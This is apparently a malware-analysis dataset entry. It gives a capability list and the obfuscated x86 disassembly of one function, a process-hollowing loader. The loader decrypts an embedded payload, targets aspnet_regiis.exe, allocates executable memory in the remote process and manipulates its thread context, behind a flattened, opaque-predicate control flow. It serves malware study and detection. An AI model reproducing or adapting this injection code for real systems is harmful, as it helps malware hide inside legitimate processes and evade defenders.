Function at 0x10003170
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x1009a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0xc7abed1c
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x81873e67
je 0x1000573d
jmp 0x100031ac
mov eax, dword [ebp - 0x168]
sub eax, 0x8220df1d
je 0x1000625a
jmp 0x100031c2
mov eax, dword [ebp - 0x168]
sub eax, 0x822dac8e
je 0x1000a666
jmp 0x100031d8
mov eax, dword [ebp - 0x168]
sub eax, 0x8246ac39
je 0x1000b07b
jmp 0x100031ee
mov eax, dword [ebp - 0x168]
sub eax, 0x8286be63
je 0x10006491
jmp 0x10003204
mov eax, dword [ebp - 0x168]
sub eax, 0x8313989c
je 0x10008e9b
jmp 0x1000321a
mov eax, dword [ebp - 0x168]
sub eax, 0x85009dfe
je 0x10005eeb
jmp 0x10003230
mov eax, dword [ebp - 0x168]
sub eax, 0x8793d483
je 0x10007dad
jmp 0x10003246
mov eax, dword [ebp - 0x168]
sub eax, 0x88083e33
je 0x10009e4f
jmp 0x1000325c
mov eax, dword [ebp - 0x168]
sub eax, 0x888c92b8
je 0x1000797e
jmp 0x10003272
mov eax, dword [ebp - 0x168]
sub eax, 0x897fef1c
je 0x10009f3c
jmp 0x10003288
mov eax, dword [ebp - 0x168]
sub eax, 0x8a42f3b2
je 0x10008398
jmp 0x1000329e
mov eax, dword [ebp - 0x168]
sub eax, 0x8a5e6338
je 0x10006652
jmp 0x100032b4
mov eax, dword [ebp - 0x168]
sub eax, 0x8a6cc93d
je 0x100062b6
jmp 0x100032ca
mov eax, dword [ebp - 0x168]
sub eax, 0x8abd865f
je 0x10008e7e
jmp 0x100032e0
mov eax, dword [ebp - 0x168]
sub eax, 0x8d135568
je 0x100092f4
jmp 0x100032f6
mov eax, dword [ebp - 0x168]
sub eax, 0x8f09e810
je 0x1000a6d4
jmp 0x1000330c
mov eax, dword [ebp - 0x168]
sub eax, 0x8f0fb195
je 0x10005ab8
jmp 0x10003322
mov eax, dword [ebp - 0x168]
sub eax, 0x905eb1e5
je 0x1000949a
jmp 0x10003338
mov eax, dword [ebp - 0x168]
sub eax, 0x90841076
je 0x100079e8
jmp 0x1000334e
mov eax, dword [ebp - 0x168]
sub eax, 0x90a35fc4
je 0x1000926f
jmp 0x10003364
mov eax, dword [ebp - 0x168]
sub eax, 0x9128fc7a
je 0x1000a54b
jmp 0x1000337a
mov eax, dword [ebp - 0x168]
sub eax, 0x91ad9e56
je 0x1000868f
jmp 0x10003390
mov eax, dword [ebp - 0x168]
sub eax, 0x922b00ba
je 0x1000633d
jmp 0x100033a6
mov eax, dword [ebp - 0x168]
sub eax, 0x92983075
je 0x10009ae4
jmp 0x100033bc
mov eax, dword [ebp - 0x168]
sub eax, 0x92b7f95e
je 0x1000586e
jmp 0x100033d2
mov eax, dword [ebp - 0x168]
sub eax, 0x9319183b
je 0x10009677
jmp 0x100033e8
mov eax, dword [ebp - 0x168]
sub eax, 0x931cd983
je 0x10009201
jmp 0x100033fe
mov eax, dword [ebp - 0x168]
sub eax, 0x948f35cb
je 0x10007636
jmp 0x10003414
mov eax, dword [ebp - 0x168]
sub eax, 0x950dfdd2
je 0x1000ac20
jmp 0x1000342a
mov eax, dword [ebp - 0x168]
sub eax, 0x95318c57
je 0x10008eba
jmp 0x10003440
mov eax, dword [ebp - 0x168]
sub eax, 0x9596e494
je 0x1000aa21
jmp 0x10003456
mov eax, dword [ebp - 0x168]
sub eax, 0x95d51110
je 0x10007dcc
jmp 0x1000346c
mov eax, dword [ebp - 0x168]
sub eax, 0x9621030f
je 0x1000572e
jmp 0x10003482
mov eax, dword [ebp - 0x168]
sub eax, 0x96d0f09a
je 0x1000a5a3
jmp 0x10003498
mov eax, dword [ebp - 0x168]
sub eax, 0x98d47fb7
je 0x10006bf2
jmp 0x100034ae
mov eax, dword [ebp - 0x168]
sub eax, 0x99ae8cb3
je 0x10005c4f
jmp 0x100034c4
mov eax, dword [ebp - 0x168]
sub eax, 0x99cd5691
je 0x10006614
jmp 0x100034da
mov eax, dword [ebp - 0x168]
sub eax, 0x9a36271b
je 0x10009518
jmp 0x100034f0
mov eax, dword [ebp - 0x168]
sub eax, 0x9adc58d7
je 0x1000a997
jmp 0x10003506
mov eax, dword [ebp - 0x168]
sub eax, 0x9b4da783
je 0x1000a89d
jmp 0x1000351c
mov eax, dword [ebp - 0x168]
sub eax, 0x9c281fb6
je 0x10006b38
jmp 0x10003532
mov eax, dword [ebp - 0x168]
sub eax, 0x9cacab6a
je 0x10006870
jmp 0x10003548
mov eax, dword [ebp - 0x168]
sub eax, 0x9d213438
je 0x10008af2
jmp 0x1000355e
mov eax, dword [ebp - 0x168]
sub eax, 0x9db96f50
je 0x1000adb5
jmp 0x10003574
mov eax, dword [ebp - 0x168]
sub eax, 0x9e9c06de
je 0x1000601d
jmp 0x1000358a
mov eax, dword [ebp - 0x168]
sub eax, 0x9f1e6194
je 0x10006c01
jmp 0x100035a0
mov eax, dword [ebp - 0x168]
sub eax, 0xa10a81af
je 0x100070c1
jmp 0x100035b6
mov eax, dword [ebp - 0x168]
sub eax, 0xa116a780
je 0x1000888b
jmp 0x100035cc
mov eax, dword [ebp - 0x168]
sub eax, 0xa12ee193
je 0x10007271
jmp 0x100035e2
mov eax, dword [ebp - 0x168]
sub eax, 0xa145784c
je 0x1000798d
jmp 0x100035f8
mov eax, dword [ebp - 0x168]
sub eax, 0xa285f379
je 0x1000ade4
jmp 0x1000360e
mov eax, dword [ebp - 0x168]
sub eax, 0xa326df06
je 0x10008b01
jmp 0x10003624
mov eax, dword [ebp - 0x168]
sub eax, 0xa355c453
je 0x1000aa5f
jmp 0x1000363a
mov eax, dword [ebp - 0x168]
sub eax, 0xa4efa87a
je 0x10007372
jmp 0x10003650
mov eax, dword [ebp - 0x168]
sub eax, 0xa5d7ef3b
je 0x100084cb
jmp 0x10003666
mov eax, dword [ebp - 0x168]
sub eax, 0xa63c4452
je 0x1000677d
jmp 0x1000367c
mov eax, dword [ebp - 0x168]
sub eax, 0xa64ccfb7
je 0x1000800d
jmp 0x10003692
mov eax, dword [ebp - 0x168]
sub eax, 0xa6c121a6
je 0x10008aa6
jmp 0x100036a8
mov eax, dword [ebp - 0x168]
sub eax, 0xa6d4bfb0
je 0x10008ed9
jmp 0x100036be
mov eax, dword [ebp - 0x168]
sub eax, 0xa83e36c8
je 0x1000a827
jmp 0x100036d4
mov eax, dword [ebp - 0x168]
sub eax, 0xa8527210
je 0x100087fc
jmp 0x100036ea
mov eax, dword [ebp - 0x168]
sub eax, 0xa8e5424f
je 0x1000a9a6
jmp 0x10003700
mov eax, dword [ebp - 0x168]
sub eax, 0xa94947cf
je 0x100065d8
jmp 0x10003716
mov eax, dword [ebp - 0x168]
sub eax, 0xa97deef9
je 0x10009c9d
mov dword [ebp - 0x164], 0x81873e67
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d823fb5
mov ecx, 0x580a6e7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dl, 1
mov eax, 0x3dd83429
mov ecx, 0x5782a59e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x164], 0xf6f8897a
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0x746b1bd
sub edx, 1
add edx, 0x746b1bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26ab8f83
mov ecx, 0x2f9dbdaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dl, 1
mov eax, 0x7d459acf
mov ecx, 0xfcc6f177
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0x226f90ad
jmp 0x1000b085
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x10018344]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0x33665c5c
jmp 0x1000b085
movss xmm0, dword [0x1001833c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0xcbc0ba82
jmp 0x1000b085
movss xmm0, dword [0x10018234]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x271bbb9a
sub edx, 1
add edx, 0x271bbb9a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbdeb47d2
mov ecx, 0x5fff2bb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dl, 1
mov eax, 0xa94947cf
mov ecx, 0xdbe957e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0x632cfd50
jmp 0x1000b085
movss xmm0, dword [0x1001832c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0xb077ff5c
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6b5d67
mov ecx, 0x350965e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa355c453
mov ecx, 0x766c7cd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x10018314]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0xdcb27923
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79bdc0eb
mov ecx, 0xb9f35ade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0x9f1e6194
jmp 0x1000b085
mov dword [ebp - 0x164], 0x50b03fde
jmp 0x1000b085
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x140], xmm0
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
add edx, 0x46fabddc
sub edx, 1
sub edx, 0x46fabddc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15a8e62b
mov ecx, 0xfe1f421c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5cb49d4b
mov ecx, 0x2dd809b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x100182f0]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x164], 0x2172d17b
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
add edx, 0x7394dd11
sub edx, 1
sub edx, 0x7394dd11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5a3c8c56
mov ecx, 0x34d13f94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0xa145784c
jmp 0x1000b085
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x164], 0x74d3258
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0x8283d8d5
sub edx, 1
add edx, 0x8283d8d5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48a17c06
mov ecx, 0xb93ca46c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x164], 0x95d51110
jmp 0x1000b085
mov dl, 1
mov eax, 0xd9a76590
mov ecx, 0xf0aa917c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x592d84fb
mov ecx, 0xddc27d45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x1001829c]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x164], 0x399d76e2
jmp 0x1000b085
mov dl, 1
mov eax, 0x1d230e86
mov ecx, 0x42d30432
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0x64ba91a0
jmp 0x1000b085
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x164], 0x141439cb
jmp 0x1000b085
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x150], xmm0
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x8a90916
sub edx, 1
add edx, 0x8a90916
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x22c95456
mov ecx, 0xa9c047ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dl, 1
mov eax, 0xa326df06
mov ecx, 0x6c2bbff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0xa326df06
jmp 0x1000b085
movss xmm0, dword [0x10018270]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x164], 0x35a7e815
jmp 0x1000b085
mov dl, 1
mov eax, 0xa6d4bfb0
mov ecx, 0x8313989c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x164], 0x95318c57
jmp 0x1000b085
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x164], 0xa6d4bfb0
jmp 0x1000b085
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x7b600
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x164], 0xcd7b6761
jmp 0x1000b085
mov eax, dword [ebp - 0x12c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x164], 0xcaf5d741
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
add edx, 0xea3a59d5
sub edx, 1
sub edx, 0xea3a59d5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x42e7c5c6
mov ecx, 0xb950f7a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0xdec65ac7
sub edx, 1
sub edx, 0xdec65ac7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc29e897
mov ecx, 0x32c00c88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [ebp - 0xe0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd9], al
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe13a511f
mov ecx, 0xf40bca30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x164], 0xf70b6ad2
jmp 0x1000b085
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov edx, dword [ebp - 0x124]
mov eax, 0x5ca87e8
mov ecx, 0xaa6aebdf
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
sub esi, 0x60347da3
add esi, eax
add esi, 0x60347da3
mov edx, dword [ebp - 0xb0]
mov eax, 0x310ab754
mov ecx, 0xe5b826f0
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0x921d314
sub edx, 1
sub edx, 0x921d314
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c65e58e
mov ecx, 0xdc05eec9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dl, byte [ebp - 0x8d]
mov eax, 0x4105ee5b
mov ecx, 0xcfc2debe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7ef1e92
mov ecx, 0xc6bb71a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x164], 0x3bc2b443
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x472a1820
mov ecx, 0x8f09e810
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0x16aa8e72
jmp 0x1000b085
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x2b59f2b
sub edx, 1
add edx, 0x2b59f2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8246ac39
mov ecx, 0x9b4da783
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000b085
mov dword [ebp - 0x164], 0xe088689c
jmp 0x1000b085
mov dword [ebp - 0x164], 0xedae64ab
jmp 0x1000b085
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x164], 0xf0a7ed63
jmp 0x1000b085
movss xmm0, dword [0x10018230]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x164], 0xd43e5e7d
jmp 0x1000b085
mov dword [ebp - 0x164], 0x766c7cd6
jmp 0x1000b085
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x164], 0x1de04609
jmp 0x1000b085
movss xmm0, dword [0x100181b4]
movss dword [ebp - 0x14c], xmm0
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x164], 0x709d7e76
jmp 0x1000b085
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x164], 0xad58ad76
jmp 0x1000b085
mov dword [ebp - 0x164], 0xa83e36c8
jmp 0x10003190